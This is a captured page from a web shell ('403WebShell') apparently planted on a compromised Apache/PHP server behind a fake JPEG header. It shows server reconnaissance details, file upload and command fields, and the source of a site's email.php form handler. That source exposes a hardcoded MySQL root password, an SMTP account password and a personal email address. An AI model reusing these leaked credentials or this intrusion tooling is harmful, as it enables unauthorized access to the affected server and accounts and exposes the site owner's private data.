����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/html/abcseguridad/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/html/abcseguridad//email.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
require 'PHPMailer/src/Exception.php';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $nombre = htmlspecialchars($_POST["nombre"]);
    $correo = htmlspecialchars($_POST["correo"]);
    $motivo = htmlspecialchars($_POST["motivo"]);

    // Guardar en base de datos
    try {
        $pdo = new PDO("mysql:host=localhost;dbname=abcseguridad", "root", "Hues198020");
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $sql = "INSERT INTO solicitudes_eliminacion (nombre, correo, motivo) VALUES (?, ?, ?)";
        $stmt = $pdo->prepare($sql);
        $stmt->execute([$nombre, $correo, $motivo]);
    } catch (PDOException $e) {
        die("Error en la base de datos: " . $e->getMessage());
    }

    // Enviar correo con PHPMailer
    $mail = new PHPMailer(true);
    try {
        $mail->isSMTP();
        $mail->Host = 'smtp.ionos.mx'; // o smtp.ionos.com
        $mail->SMTPAuth = true;
        $mail->Username = 'administracion@sistemasyusa.icu'; // correo IONOS
        $mail->Password = 'Hues198020#2024'; // tu contraseña real aquí
        $mail->SMTPSecure = 'tls';
        $mail->Port = 587;

        $mail->setFrom('administracion@sistemasyusa.icu', 'ABC Seguridad');
        $mail->addAddress('syusa19802017@gmail.com');

        $mail->isHTML(false);
        $mail->Subject = 'Nueva solicitud de eliminación de datos';
        $mail->Body = "Nombre: $nombre\nCorreo: $correo\nMotivo:\n$motivo";

        $mail->send();
        $mensaje = "<p style='color:green;'>Gracias. Tu solicitud ha sido registrada y enviada.</p>";
    } catch (Exception $e) {
        $mensaje = "<p style='color:red;'>Error al enviar el correo: " . $mail->ErrorInfo . "</p>";
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit